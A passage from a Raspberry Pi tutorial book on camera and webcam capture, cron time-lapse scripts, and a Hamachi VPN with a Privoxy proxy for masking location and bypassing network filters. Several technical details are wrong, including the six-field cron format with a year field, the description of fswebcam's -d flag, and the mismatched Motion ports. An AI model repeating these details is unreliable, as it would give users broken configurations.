For those of you who want to see the raspivid syntax right now (nothing like instant gratification,
right?), let me give you the results of raspivid --help.
Click here to view code image
pi@raspberrypi ~ $ raspivid --help
Display camera output to display, and optionally saves an H264 capture at requested
bitrate
usage: raspivid [options]
Image parameter commands
-?, --help : This help information
-w, --width : Set image width <size>. Default 1920
-h, --height : Set image height <size>. Default 1080
-b, --bitrate : Set bitrate. Use bits per second (e.g. 10MBits/s would be -b
10000000)
-o, --output : Output filename <filename> (to write to stdout, use '-o -')
-v, --verbose : Output verbose information during run
-t, --timeout : Time (in ms) to capture for. If not specified, set to 5s. Zero
to disable
-d, --demo : Run a demo mode (cycle through range of camera options, no
capture)
-fps, --framerate : Specify the frames per second to record
-e, --penc : Display preview image *after* encoding (shows compression
artifacts)
-g, --intra : Specify the intra refresh period (key frame rate/GoP size)
Preview parameter commands
-p, --preview : Preview window settings <'x,y,w,h'>
-f, --fullscreen : Fullscreen preview mode
-op, --opacity : Preview window opacity (0-255)
-n, --nopreview : Do not display a preview window
Image parameter commands
-sh, --sharpness : Set image sharpness (-100 to 100)
-co, --contrast : Set image contrast (-100 to 100)
-br, --brightness : Set image brightness (0 to 100)
-sa, --saturation : Set image saturation (-100 to 100)
-ISO, --ISO : Set capture ISO
-vs, --vstab : Turn on video stablisation
-ev, --ev : Set EV compensation
-ex, --exposure : Set exposure mode (see Notes)
-awb, --awb : Set AWB mode (see Notes)
-ifx, --imxfx : Set image effect (see Notes)
-cfx, --colfx : Set colour effect (U:V)
-mm, --metering : Set metering mode (see Notes)
-rot, --rotation : Set image rotation (0-359)
-hf, --hflip : Set horizontal flip
-vf, --vflip : Set vertical flip
-roi, --roi : Set region of interest (x,y,w,d as normalised coordinates [0.0-
1.0])
Notes
Exposure mode options :
off,auto,night,nightpreview,backlight,spotlight,sports,snow,beach,verylong,fixedfps,an
AWB mode options :
off,auto,sun,cloud,shade,tungsten,fluorescent,incandescent,flash,horizon
Image Effect mode options :
none,negative,solarise,sketch,denoise,emboss,oilpaint,hatch,gpen,pastel,
watercolour,film,blur,saturation,colourswap,washedout,posterise,colourpoint,
colourbalance,cartoon
Metering Mode options :
average,spot,backlit,matrix
You probably noticed that the raspivid command syntax is almost identical to that of raspistill. This
behavior, of course, is by design.
Now let’s record a quick five-second video:
raspivid -o fiveseconds.h264
By default, the camera’s video capture is full 1080p HD at 1920x1080 pixels. Of course, you can
make a smaller capture; let’s make a 15-second clip:
Click here to view code image
raspivid -o smallvid.h264 -t 15000 -w 1024 -h 768
Note: Perhaps a Larger SD Card Is in Order...
Recording at 1080p equates to a disk storage footprint of 17 megabytes (MB) per
second, or 115MB per minute of video. Thus if you plan on capturing a significant amount
of video with your Pi, you might want to purchase a higher capacity SD card.
Of course, the Raspberry Pi Camera Board has no microphone, so your videos won’t have any audio.
Actually, adding an audio feed to your video captures is a good Raspberry Pi project idea!
Task: Encoding a raspivid Video File
I have some bad news and some good news for you with regard to raspivid captures.
The bad news is that the capture is a raw H.264 data stream that isn’t immediately
viewable on the Pi or any computer, for that matter. The good news is that you can wrap the
raw H.264 stream into an MPEG Layer 4 (MP4) container by following these steps:
1. Download and install MP4Box (http://is.gd/Fbti7Z):
Click here to view code image
sudo apt-get install -y gpac
The -y parameter is useful if you want to approve the download automatically instead
of having to manually specify “y.”
2. Remember that Linux is a completely case-sensitive operating system. Thus, you must
use the command MP4Box and not mp4box, MP4box, or any combination or permutation
thereof:
Click here to view code image
MP4Box -fps 30 -add smallvid.h264 smallvid.mp4
This command feeds in the smallvid.h264 movie file you created using raspivid earlier;
that is the purpose of the -add parameter. It finishes with the filename of the encoded movie
file; in this case, smallvid.mp4.
3. Raspbian includes the Omxplayer (http://is.gd/UnBEuD) media player that you can use to
view your newly converted video capture. To use it just execute the program with the
video file name:
omxplayer smallvid.mp4
You can get full documentation on Omxplayer, including keyboard controls, by visiting the Embedded
Linux Wiki at http://is.gd/PNC7Mf.
If you have trouble with Omxplayer, you can try my personal favorite media player on any platform—
VLC (http://is.gd/kfwzk5):
sudo apt-get install -y vlc
vlc smallvid.mp4
From LXDE, you can also right-click your MP4 file and select VLC media player from the shortcut
menu.
Using a Third-Party USB Webcam
If you already have a Raspberry Pi-compatible USB webcam, feel free to use that piece of hardware
instead of purchasing the Camera Board. You can check your webcam against the list of verified
peripherals here at http://is.gd/ZJA79A.
For my part, I have a nifty Logitech HD Webcam C615, shown in Figure 16.8, that works on my Pi
like a champ even without a powered hub!
FIGURE 16.8 I actually prefer using a third-party webcam to the Raspberry Pi Camera Board.
For this exercise we use an awesome piece of open source software called Motion.
Task: Configuring a Third-Party USB Webcam
One awesome thing (among many) about the Raspberry Pi is that you are rarely, if ever,
locked into any particular method of accomplishing a task. Take recording webcam video,
for instance. You don’t have to buy the Raspberry Pi Camera Board if you already have a
third-party webcam.
Let’s learn how to use a standard USB webcam with the Pi.
1. Plug in your webcam, preferably into a powered USB hub.
2. From a Terminal shell prompt, make sure your Raspberry Pi recognizes your device:
lsusb
As you can see in Figure 16.9, my Logitech C615 is detected.
FIGURE 16.9 The lsusb command is used to enumerate USB devices in Linux. Here you can
see both my Logitech webcam (device 004) as well as my Scosche portable battery (device
001).
3. To get the camera working properly with your Pi, you also need to edit two Motion
configuration files a bit. To edit the first file, enter the following command:
Click here to view code image
sudo nano /etc/default/motion
In this configuration file, change the value
start_motion_daemon=no
to
start_motion_daemon=yes
Make sure to save your changes before you exit nano.
Note: Smile—You Are on the World Wide Web
If you are interested in making your Raspberry Pi webcam accessible from the
public Internet, look no further than Chapter 15, “Raspberry Pi Web Server,” in which
I give you instructions on using the lovely No-IP service.
4. Now for the second configuration file tweak:
Click here to view code image
sudo nano /etc/motion/motion.conf
Change the Daemon option from Off to On.
Change the webcam_localhost parameter from On to Off.
Again, save and exit.
5. Start the video stream:
sudo service motion start
To view your live video stream, open a web browser (I suggest Iceweasel or Netsurf
[http://is.gd/6AfWdc]) and navigate to the following URL:
http://localhost:8081
If you want to access your webcam remotely on your LAN, substitute your Pi’s IP
address for localhost.
You can tweak detailed parameters of the stream including stuff like the following:
Video dimensions
Frame rate
Video quality
Capture storage directory
by editing /etc/motion/motion.conf. You can see my goofy mug (again) in Figure 16.10.
FIGURE 16.10 This is Motion webcam output.
When you want to stop the stream, issue the following Terminal command:
sudo service motion stop
The Pale Blue Dot blog (http://is.gd/XS6fY8) has good instructions for setting up Motion to run as a
service and auto-start each time your Pi boots up. For security reasons, though, I advise you to be
careful about this, especially if your Pi is publicly accessible.
You’re probably wondering if the raspistill and raspivid commands that were written to function with
the official Raspberry Pi Camera Board work with a third-party webcam. I’ve tested this out for you,
and the answer is no. If you try to run raspistill or raspivid against a third-party webcam, you will
receive an error message that says in part:
Click here to view code image
Camera is not detected. Please check carefully the camera module is installed
correctly.
Setting Up Your Webcam
As you just saw, Motion provides you with a video stream and a web browser in one fell swoop. But
what if you wanted your Raspberry Pi cam to monitor a particular area (be it your front door, your
back yard, your fish tank, whatever) and snap a picture at regular intervals?
Our current Motion setup feeds a live stream to a tiny web server on port 8080 (configurable through
montion.conf, naturally).
Task: Setting Up a Time-Lapse Webcam
Let’s say that your goal is to have the webcam snap a picture every 30 seconds and
save the image snapshot files in /home/pi/webcam. To do this let’s try out a different piece
of webcam software: fswebcam (). Be sure to stop the Motion service by issuing sudo
service motion stop before proceeding with the following procedure:
1. Install fswebcam:
Click here to view code image
sudo apt-get install fswebcam
2. You can get a run of the tool’s command-line help:
fswebcam --help
3. Now let’s snap a decent-sized image. Note that fswebcam uses the default ID
/dev/video0 for the first webcam it sees; assuming you have only one webcam installed,
this ID should work fine for your purposes.
Click here to view code image
fswebcam -r 1024 x 768 -d /dev/video0 picname.jpg
In the previous example, the -r switch specifies the image dimensions, and the -d switch
specifies the output directory. Finally, comes the name of the output image file in JPEG
format.
Of course, picname is a generic identifier for your picture file.
4. Create a configuration file for fswebcam so you can set your preferred defaults,
especially your output directory:
cd
sudo nano .fswebcam.conf
5. When you are in the file, add these lines, customizing the values to your liking (I’m
showing you my own setup here for illustrative purposes):
Click here to view code image
device /dev/video0
input 0
loop 15
skip 20
background
resolution 320x240
set brightness=60%
set contrast=13%
top-banner
title "Warner Webcam"
timestamp "%d-%m-%Y %H:%M:%S (%Z)"
jpeg 95
save /home/pi/webcam/viewcam.jpg
palette MJPEG
Pay particular attention to the timestamp parameter; this is where you can differentiate
your captured image files as well as make them easier to browse. Note also all the options
you have to customize the webcam’s default behavior.
6. To start fswebcam using your new configuration file (assuming that the config file
resides in the root of your home directory), type
fswebcam -c ~/.fswebcam.conf
In case you were wondering, the dot before the .fswebcam.conf makes the file hidden.
This is normally the attribute that is attached to system and configuration files to keep
novices from accidentally messing with them.
7. To stop the fswebcam process, issue this command:
pkill fswebcam
8. To create a repeating operating system-level job that snaps a picture every minute, turn
to Bash shell scripting and the age-old Linux command cron. First you must create a shell
script:
sudo nano camscript.sh
Note: About cron
The cron (pronounced krahn) utility has been around since the earliest days of
Unix and Linux. Use cron to schedule tasks to run once or on a schedule. In fact the
name cron derives from the Greek word chronos, which means time. Specifically, the
tasks that cron runs are typically binary commands or shell scripts.
9. Enter the following contents into the script file:
Click here to view code image
#!/bin/sh
filename=$(date +”%m-%d-%y|||%H%M%S”)
fswebcam -r 356x292 -d /dev/video0 $filename.jpg
cp $filename.jpg /home/pi/webcam
I’ll explain each of those four lines for you:
1: This is called a “shebang” line and points Linux to the location of the sh command
interpreter.
2: This creates a variable named filename that gives a date and time stamp as its value.
3: This invokes fswebcam; in this example we aren’t using a configuration file.
4: This copies the captured image (stored in the filename variable) to a subfolder. We
could add additional code here to perform an upload to Dropbox, FTP transfer, and so
forth.
10. Mark your new shell script as executable:
sudo chmod +x camscript.sh
11. Start the crontab editor for the pi user:
crontab -e
12. The nano editor opens. Move your insertion point to the bottom of the file and create a
cron job to run the camscript.sh shell script every minute:
Click here to view code image
*/1 * * * * /home/pi/camscript.sh
The previous syntax looks strange with all the asterisks, doesn’t it? In a nutshell, the Cron format
uses six fields, with an asterisk representing the entire range of possible values for that field.
Moving from left to right, the fields are:
Minute (range 0-59)
Hour (range 0-23)
Day of the Month (range 1-31)
Month of the Year (range 1-12)
Day of the Week (range 1-7, with 1 signifying Monday)
Year (range 1900-3000)
Thus, a Cron statement of * /1 * * * * denotes an interval of one minute with no other limitations,
be they day, month, or year.
I found an outstanding article on Cron format that you’ll want to have a look at if you want more
information: http://is.gd/bCCmOm.
Check out Figure 16.11 to see what my setup looks like. It works like a charm!
FIGURE 16.11 This is my time-lapse webcam. At left in the browser window you can see
the live video feed. At right you can see my output folder superimposed; this is where the .jpg
image snapshots are stored.
Adding a Rechargeable Battery Pack to Your Pi Camera
Attaching a rechargeable battery pack to your Raspberry Pi (especially when combined with a Wi-Fi
dongle) makes your Pi eminently flexible. In this scenario, you could feasibly place your Pi webcam
anywhere, either indoors or outdoors, and happily snap pictures, record video, or both. You can even
program the Pi to send the capture files to a desktop computer by using FTP!
Raspberry Pi enthusiasts around the world have developed novel ways to provide 5-volt battery
power to their Pis. Some of these ideas involve car batteries, 12V vehicle power sockets, and the
like. However, we have much more basic and reliable methods available to us.
I suggest you look into a Lithium-Ion (Lion) battery pack that includes a Micro-B USB plug and
regulated 5V output. This option means that (a) you can plug the Lion portable battery into your
desktop computer or a powered USB hub to charge the battery; and (b) you can simply plug the
Micro-B plug into your Pi’s power port to give it portable juice on the go!
As usual, the Embedded Linux wiki (http://is.gd/ETvw9J) has a list of external battery packs that
have been verified to work with the Raspberry Pi.
Remember that the standard power draw of the Model B board is 500mA. The amount of energy in a
battery pack is ordinarily given in milliampere hours (mAh). This means that a 1,000mAh battery
pack can deliver 1000mA of power for one hour, or 500mA for two hours.
Adafruit sells a Lion battery pack (http://is.gd/7ID1JP) for $59.95 that contains 3300mAh worth of
power. This equates to over six hours of continuous power to a normally operating Raspberry Pi unit.
Pretty cool, eh?
Some Lion portable batteries, like my own Scosche IPDBAT2 shown in Figure 16.12, have two 5V
USB ports with different current supplies: 1A and 2.1A. This difference is normally intended to
allow the battery pack to supply power to either the iPhone (1A current) or iPad (2.1A current). For
the Pi, I suggest you go with the 2.1A port.
FIGURE 16.12 This is my Raspberry Pi battery pack: It gives me over six hours of power!
Python and Your Webcam
A good choice for blending the power of Python programming with your webcam is the SimpleCV
vision library (http://is.gd/Db2osA). One aspect of SimpleCV that you might want to investigate is the
motion and face detection capabilities built into the library.
Task: Setting up SimpleCV
Before you begin, make sure your USB webcam is connected, detected, and ready to
rock. You should also stop any existing webcam services you might have running on your Pi
and then follow these steps:
1. Install the SimpleCV libraries:
Click here to view code image
sudo apt-get install python-opencv python-scipy python-numpy python-pip
sudo pip install https://github.com/ingenuitas/SimpleCV/zipball/master
2. Verify that the SimpleCV Python 2 library loads correctly in the Python interpreter:
python
import SimpleCV
print dir(SimpleCV)
3. Press Ctrl+D to exit Python.
4. You should create a very, very simple Python 2 script to test SimpleCV’s functionality.
Begin by creating the script file:
cd
sudo nano hellocamera.py
5. Add the following code to the new script file:
Click here to view code image
#!/usr/bin/env python
from SimpleCV import Image, Display
from time import sleep
myWindow = Display()
myImage = Image("webcam.jpg")
myImage.save(myWindow)
while not myWindow.isDone():
sleep(0.1)
In a nutshell, this Python 2 script performs the following actions:
Imports relevant functions (methods) from the SimpleCV and sleep modules
Creates a display window
Loads a webcam snapshot to the newly created window and saves the file to the current
working directory
Prevents the script from terminating immediately after the webcam snapshot is taken
Save your work and close the file when you’re finished.
6. Now let’s run the Python script file from a shell prompt:
python hellocamera.py
Within moments, you should see your webcam snapshot appear on screen (see Figure
16.13). Press Ctrl+C to abort the script execution.
FIGURE 16.13 Using SimpleCV to access a third-party webcam. The goofy subject is yours
truly, and the bit of artwork partially visible above his head is courtesy of the author’s three-
year-old daughter Zoey.
Chapter 17. Raspberry Pi Security and Privacy Device
When it comes to electronics and computing, the words security and privacy could mean a lot of
different things. In this case I’m talking about using your Pi to maximize your security and privacy
when online. Even more specifically, I’m referring to securing your personal and financial details.
I want to lead off this chapter by presenting to you three unfortunate scenarios that can be prevented
by configuring your Raspberry Pi as a security and privacy device.
Scenario #1: You live in the United States, and you enjoy your subscription to Netflix very
much. However, you find that whenever you visit other countries, especially in Europe and the
Far East, that you are unable to access the Netflix services you pay for due to international
licensing laws.
Scenario #2: You enjoy taking your laptop computer to the neighborhood coffee house and
working while sipping espresso and munching scones. The free, public Wi-Fi service gives you
adequate Internet access speed. Nonetheless, you discover three months later that your bank
accounts have been compromised because a hacker captured your logon credentials over the air
during one of your coffee house web browsing sessions.
Scenario #3: You are a traveling salesperson who spends much of your time doing your
work and browsing the Web from hotel rooms. You’ve become increasingly irritated at how
much of the Web is blocked by hotel access restrictions.
This chapter is all about leveraging your $25 or $35 Raspberry Pi computer to provide yourself with
secure and potentially anonymous Internet access. Your first order of business, of course, is to define
your terms. Let’s start off with the concept of the virtual private network and why it’s important.
Encrypting Your Internet Connection with a VPN
A virtual private network, or VPN, is a secure, point-to-point network connection that is tunneled
through an unsecure medium. You can certainly agree that the public Internet represents an unsecure
medium; a wild jungle is more like it.
A VPN involves the construction of a temporary or permanent data communications channel that takes
advantage of the Internet’s speed and reliability, but offers security in that all traffic tunneled through
the VPN connection is encrypted.
VPNs are the de facto method that businesses use to offer remote employees access to confidential,
internal network resources such as shared files, intranet websites, and so forth.
If there is a downside to VPNs, it is their lack of speed. Due to the heavy overhead of data encryption
and decryption, network access over a VPN pipe is noticeably, and sometimes unbearably, slower
than over an unencrypted link.
That brings up the delicate balancing act between increased security on one hand and user
convenience on the other. Where are you comfortable drawing the line?
From the perspective of the corporate IT manager, setting up a VPN server can be pretty tough. You
ordinarily have to provision dedicated hardware and software in order to manage the myriad network
protocols that constitute VPN circuits.
What many people don’t know is that it is relatively easy to create your own VPN environment, even
at home, by using hosted VPN services. Two major players in the hosted VPN arena are
LogMeIn Hamachi: http://is.gd/PtTdkV
OpenVPN: http://is.gd/uSoYCp
What is cool about both of these services is that because they operate over standard web protocols,
you don’t have to forward any ports on your router or worry about your Internet access provider
blocking traditional VPN ports.
For instance, I’ve stayed at hotels that charge guests two different prices for Internet access
depending on whether the guest needs VPN access or not.
However, in my experience Hamachi is much more of a turnkey solution than OpenVPN, so I focus on
this product in this chapter.
Okay...so you understand that a VPN connection gives you security and privacy by protecting all data
between your computer and the Internet. What does that have to do with the Raspberry Pi? Moreover,
how does a VPN enable you to cloak your geographic location?
The truth of the matter is, a VPN alone cannot give you true web browsing freedom. For that purpose
we need a proxy server.
Browsing Where You Want via a Proxy Server
A proxy server is a networking device that connects to Internet resources on behalf of another
computer. For instance, you may find that network broadcasting agreements prevent your favorite
sports game from being broadcast in your current location. Wouldn’t it be cool to have your computer
appear as if it were connecting from another location so you could watch your game?
Note: Public Proxies and the Network Administrators
Many network administrators detest public proxies because they allow users to bypass
corporate web browsing filters. Businesses oftentimes set up what’s called a transparent
proxy that forces all internal network traffic through the device before it hits the Internet.
To that point, many transparent proxies periodically download blacklists of known public
proxies to thwart unauthorized use of the network.
Pipelining your network traffic through a proxy server offers you privacy because as far as your
Internet access provider is concerned, you are making an ordinary, run-of-the-mill web browsing
request to a particular server.
In actuality, that particular server is a proxy server that is capable of redirecting your web browsing
to wherever you need or want to go (see Figure 17.1). It’s common for citizens of certain countries to
use web proxies to bypass their government’s Internet access filters.
FIGURE 17.1 How a web proxy works
Let me explain what you’re seeing in Figure 17.1. Your computer is unable to connect to a target
website due to filtering from your Internet access provider. This “Internet access provider” could be
your residential Internet Service Provider (ISP), a corporate Internet connection, or a public Wi-Fi
hotspot.
By contrast, when you configure your web browser to route web traffic through a proxy server, then
access to the otherwise blocked website is unrestricted. Why? Because from the perspective of your
ISP or Internet access provider, you are connecting to a “safe” server. The proxy server masks your
true web browsing targets from your ISP.
Now for the good news: You can configure your Raspberry Pi as both a VPN endpoint as well as a
proxy server! Take a look at Figure 17.2.
FIGURE 17.2 Network topology for a Raspberry Pi-based VPN and proxy solution
Let’s step through each point in this process:
A. This is your laptop, smartphone, or other Internet-connected device that connects to the
Internet over a public, unsecure medium. This is most likely a public Wi-Fi hotspot.
B. Let’s imagine that this icon represents your target website. Your concern may be that you
don’t want your logon credentials sent over your network connection in an unsecure fashion,
or maybe you simply cannot connect to the target site because your Internet access provider
blocks it.
C. The solution to this problem is connecting your Internet-connected device to both your
configured Hamachi VPN, of which your Raspberry Pi is a member; as well as your
Raspberry Pi proxy server. (I don’t show C in Figure 17.2.)
D. The Raspberry Pi, because it is a member of your internal LAN as well as your Hamachi
VPN, gives you remote access to internal network resources (E) in a completely protected
manner. The Pi also cloaks your point of origin on the Internet because from the perspective of
your public Internet access provider, you’re not connecting to your target website, but instead
to your Raspberry Pi in your home location.
Building Your Raspberry Pi VPN Gateway
Let’s get this party started, shall we? First, some good news: The good folks at LogMeIn offer
Hamachi VPN for free for up to five hosts. For this test configuration, you need just two members:
one is your Raspberry Pi, and the other is your desktop computer.
Before you go any further, go to the Hamachi website and register a free user account:
http://is.gd/Njxokw. Your credentials will consist of an email address and a password.
Note: Secure Remote Access
In this chapter I use Hamachi as a means to an end, in other words, as a secure platform
for web proxy services. However, you should be aware that Hamachi also gives you an
excellent way to connect to your home network securely from anywhere in the world.
Remember that all the VPN traffic is tunneled over standard web ports, so you don’t have
to worry about firewall exceptions or other Internet access filters. LogMeIn has some
awesome technologies!
Next, you need to download and install the Hamachi client on your desktop workstation. Visit
http://is.gd/ruIvfl and get the software; LogMeIn has all the major platforms covered:
Windows
OS X
iOS
Android
You can use the Hamachi desktop client to create VPNs, but you get much more flexibility by doing so
from the web portal.
Task: Creating Your Hamachi VPN
Let’s get Hamachi up and running, shall we? You don’t need to complete this set of
tasks from your Raspberry Pi, necessarily. Any computer or even mobile device that is
Internet-connected and has a standard web browser is fine.
1. Visit https://secure.logmein.com and log in with your account email address and your
password.
2. From the left-hand navigation menu in the management console, click Networks.
3. In the Networks area, click Add Network. Add a name and optional description for your
new VPN. As you see in Figure 17.3, Hamachi supports three different network
topologies, each with its own characteristics.
FIGURE 17.3 It’s simple to create private, encrypted networks by using Hamachi.
I suggest that unless you have a compelling reason to do so that you select the Mesh
network type. This configuration allows you to connect to and interact with all devices on
your home or personal network. For additional details, LogMeIn publishes a wonderful
Hamachi user guide; the document is available for free download at http://is.gd/tbNsMs.
4. There are two pages to the Add Network screen (though I’ve combined them in Figure
17.3). Click Continue when you’re ready to proceed to the second page.
5. The final step in creating your new network is specifying security options. I suggest you
leave the default, which requires that you (the administrator) approve any requests to join
your new VPN. You can add a password as well to increase security even further.
6. Finally, leave the Free subscription level as is and click Continue to proceed.
When you view the My Networks node in the LogMeIn web console, you see all details
concerning your new private network.
Now that you’ve reserved a VPN in the Hamachi infrastructure, let’s get your desktop client
connected to it.
Task: Connecting to Your Hamachi VPN from Your Desktop Computer
“The proof is in the pudding,” said my old mentor, Bernie Carr. We can’t demonstrate
how VPN technology works until we actually, well, demonstrate the technology. Let’s get
to work!
1. Start up your Hamachi client and click the Power On button. I show you the interface
screens for my Windows 7 computer in Figure 17.4.
FIGURE 17.4 The LogMeIn Hamachi client looks and behaves the same way on Windows
and OS X.
2. Provide a name (Hamachi ID) for your client computer. Make it meaningful so you’ll
know instantly which computer is which when you view your VPN.
3. You now see your computer’s name and an IP address in the 25.x.y.z range in your
Hamachi Control Panel. Click Join an existing network and then provide the nine-digit
Network ID and optional password. You can fetch the Network ID from the web portal
when you click your VPN. Next, click Join to join the network.
If you created your Hamachi VPN with the defaults, you get a message informing you
that the network requires manual approval for new members. Click Yes to submit a request
for membership.
4. Log in to the web portal, where you see a join request for the desktop client. Accept the
request and click Save to approve. You see the Hamachi desktop client update
immediately.
You can now control access to the VPN by right-clicking the network name in the
Hamachi client and selecting either Go Offline or Go Online as the case may be.
I help you work with your new configuration a bit later in the chapter. It’s time to install the Hamachi
client on your Raspberry Pi.
Task: Installing Hamachi Client on Your Raspberry Pi
1. Establish an SSH session to your Raspberry Pi. To allow you to execute root commands
without having to type sudo before every command, run the Bash shell as root:
sudo bash
2. The Hamachi client for Linux has a prerequisite: the Linux Standard Base (LSB) core
libraries. Install them in the usual manner:
Click here to view code image
apt-get install -y --fix-missing lsb-core
3. Install the Hamachi Client for Linux. You should substitute the package I supply in the
sample syntax with the latest version on the Hamachi Labs home page at
http://is.gd/Lays35. Note that LogMeIn provides Intel 32-bit, Intel 64-bit, and ARM
versions of the software. You do remember that the Raspberry Pi is an ARM device,
correct?
Click here to view code image
wget https://secure.logmein.com/labs/logmein-hamachi-2.1.0.101-armel.tgz
tar -zxvf logmein-hamachi-2.1.0.101-armel.tgz
cd logmein-hamachi-2.1.0.101-armel
./install.sh
4. Start the Hamachi service (daemon):
Click here to view code image
/etc/init.d/logmein-hamachi start
5. The next three commands perform the following actions:
Logging the Pi into the Hamachi network
Binding the Pi to your LogMeIn account
Specifying an ID for the Pi
Click here to view code image
hamachi login
hamachi attach <your_email_address>
hamachi set-nick raspi-proxy
6. From your desktop workstation, approve the network join request from the web console.
You can see the interface in Figure 17.5.
FIGURE 17.5 Approving a Hamachi join request
7. Navigate to the My Networks page and add your Raspberry Pi to the Hamachi VPN you
created earlier. Note that approving a connection request and joining a particular network
are two separate steps.
You now can communicate directly with your Raspberry Pi by connecting to the Pi’s
25.x.y.z IP address from another Hamachi network member anywhere in the world!
Hamachi’s ability to allow easy peer-to-peer networks is one reason why the service is so popular
among gamers. Many first-person-shooter and Minecraft players, for instance, leverage Hamachi to
allow for easy LAN gaming sessions.
Building Your Raspberry Pi Proxy Server
As I said earlier, a proxy server is a computer that stands in place of another computer in terms of
making web requests. Actually, that’s what the noun proxy means in the first place.
Besides providing confidentiality to hosts located behind the proxy server, the other benefit of the
proxy service is that of caching. In other words, proxy servers can boost your browsing speed by
serving up web pages cached locally instead of having to fetch the content from the source every time.
Nowadays you don’t need specialized hardware and software to set up a proxy server. In this chapter
we use the free and open source Privoxy (pronounced prih-VOX-ee from http://privoxy.org). Privoxy
is fast, easy to configure, and flexible. However, you should be aware that Privoxy is a non-caching
HTTP proxy, which is fine because the goal here is confidential, restriction-free web browsing, not
necessarily a performance boost.
Before you undertake the following procedure, make a note of the 25.x.y.z IP address that Hamachi
reserved for your Raspberry Pi. You use that IP address as the proxy server endpoint address.
Note: What Does 25.x.y.z Mean?
As it happens, LogMeIn owns at least a portion of the 25.0.0.0/8 IPv4 address space.
Thus, the Hamachi service can dish out globally unique IP addresses to its customers within
this range. You might recall that all hosts on the same IP subnet can communicate directly
with each other.
Task: Installing and Configuring Privoxy Raspberry Pi
In this procedure, you get Privoxy up and running on your Raspberry Pi. As you would
expect, you should perform the following steps from a Terminal session on your Pi.
1. Establish an SSH session to your Raspberry Pi and put your shell session in the root user
context.
sudo bash
2. Download and install Privoxy from your default software repositories:
apt-get install -y privoxy
3. You need to make a couple tweaks to the Privoxy configuration file.
nano /etc/privoxy/config
4. Use the nano keyboard shortcut Ctrl+W to search for the string listen-address. When you
find it (you’ll have to scroll past a few screens of documentation before you get to the
uncommented value), edit the line like so:
listen-address 25.x.y.z:8118
5. Substitute your Raspberry Pi’s actual Hamachi IP address for the example given here.
6. Save your work, close the file, and restart the Privoxy service.
service privoxy restart
Testing the Configuration
Alrighty then! You have your VPN and proxy all set up and ready to test. Sit down at your desktop
computer and turn on your Hamachi network. Verify that your Raspberry Pi also shows up in your
Hamachi Control Panel.
Open your web browser and navigate to the following website:
http://privoxy.org/config
The resulting configuration page should say Privoxy is not being used. This is an expected result
because you haven’t configured your desktop PC to route HTTP web traffic through your Raspberry
Pi proxy. You can see what this page looks like in Figure 17.6.
FIGURE 17.6 The Privoxy config page tells you instantly whether or not your browser session is
being proxied.
Now point your browser to the IP Info Database (http://is.gd/23sxDf) or an equivalent site and verify
your system’s public IP address and geolocation. Of course, you need to do this from an IP
address/location different from where your Raspberry Pi is located.
Fortunately, I have some computers located in different areas of the United States. To that point, I
show you the before proxy information for my Windows 7 workstation, located in Columbus, Ohio, in
Figure 17.7.
FIGURE 17.7 My “pre Proxy” IP address has my workstation located in Columbus, Ohio.
Now you need to configure your web browser to use a proxy server. For this example I’ve used
Internet Explorer, but here are some references to online tutorials to perform this action on other
popular browsers:
Chrome (Windows, OS X): http://is.gd/RB2WYa
Chrome (Android): http://is.gd/XRoYeS
Firefox: http://is.gd/oTyHmD
Safari (OS X): http://is.gd/9cZgje
Safari (iOS): http://is.gd/znmAwg
Opera: http://is.gd/XI3KJ9
Task: Pointing Your Workstation Computer at Your Pi Proxy
This task assumes that we are working from a Windows 7 or Windows 8 computer.
1. Open up the Internet Explorer web browser and open the gear menu in the upper right of
the window. Next, click Internet Options.
2. In the Internet Properties dialog box, open the Connections tab and then find and click the
LAN Settings button. I show you both dialog boxes in Figure 17.8.
FIGURE 17.8 The process of configuring a web browser to tunnel traffic through a proxy is
about the same regardless of the application or OS platform.
3. Under Proxy Server, select the option Use a proxy server for your LAN and enter your
Raspberry Pi’s Hamachi IP address. Make sure to use 8118 as the port number.
4. Click OK out of all dialog boxes and restart your browser.
Go back to the IP Info DB website and recheck your IP address and location. You
should find that the site reports your IP address and geolocation as that of your home
network (where your Raspberry Pi proxy server is located, in other words). I show you this
in Figure 17.9.
FIGURE 17.9 My workstation’s “post Proxy” address shows it as originating in Nashville,
Tennessee, where my Raspberry Pi resides.
For the duration of your web browsing session, you not only mask your workstation’s IP address
location, but you also provide for data confidentiality because all traffic flowing within the Hamachi
VPN is fully encrypted.
Just for grins, I figured that you would be interested in the “What’s My IP” type websites. To that end,
here are a few more for you to try out and experiment with (some expose an API that is scriptable!):
What is My IP?: http://is.gd/uIhmYK
IP Chicken: http://is.gd/WRPm0J
WTF is My IP?: http://is.gd/a6ARdP
IP2Location: http://is.gd/S1cd19
Speaking of Geolocation...
Do you remember in Chapter 4, “Installing and Configuring an Operating System,” when I briefly
mentioned the Rastrack website? Let’s spend just a couple minutes discussing it now, as its operation
relates somewhat to privacy and security issues.
Rastrack (http://is.gd/sGStJL) is a map that shows the general location of Raspberry Pis throughout
the world. Of course, only Pi owners who volunteer this information contribute to the map. Also Ryan
Walmsley (http://is.gd/lUb70X), a British high-school student who created the site, has no
verification scheme in place to prove that registrations come from actual Raspberry Pis. You can see
what the Rastrack map looks like as of this writing in Figure 17.10.
FIGURE 17.10 The Rastrack map, as of summer 2013
Given the context of this chapter, you might wonder if Rastrack uses IP address geolocation to
determine the physical location of your Pi. The answer is no and yes.
Ryan has not specifically coded any geolocation into Rastrack. Instead, he plots user-provided data
through the Google Maps API, which gives a general location based on a combination of your ISP’s
IP addressing metadata and the address information you provide to the site.
For instance, check out Figure 17.11. My Zip code 37221, and the map result places my Pi directly in
the middle of that Zip code zone, not necessarily anywhere near the Pi’s actual location on the globe.
FIGURE 17.11 The Rastrack map plots location based on user-specified information and Google
Maps metadata.
Why would you want to add your Raspberry Pi to Rastrack? Well, I’ve found that the Raspberry Pi
community is a passionate one and folks are eager to share information with each other. It’s pretty
cool to see all the Raspberry Pi devices registered in most countries in the world.
By contrast, any time you expose computer system details to the public, that opens the door for a
malicious user to think, “Aha! There are four Raspberry Pis in my neighborhood. Maybe I’ll try some
reconnaissance and see if I can penetrate their networks!” Sad to say, this kind of activity is much
more common than you might think.
Can I Haz Copey Editr?
I’m sure it is just the “author” in me, but I was appalled by the many egregious spelling
and grammatical errors present on the Rastrack site—and the Add Your Pi! pages in
particular. I had to remind myself that this web app was created by a high school student.
At any rate, perhaps Ryan will correct these mistakes by the time you access the site.
Task: Adding Your Raspberry Pi to the Rastrack Database
Should you decide to add your Raspberry Pi to the worldwide Rastrack database, I
offer you the following procedure to help you accomplish your goal.
1. From LXDE on your Pi, open up Midori or your favorite web browser and browse to the
Rastrack website:
http://rastrack.co.uk/
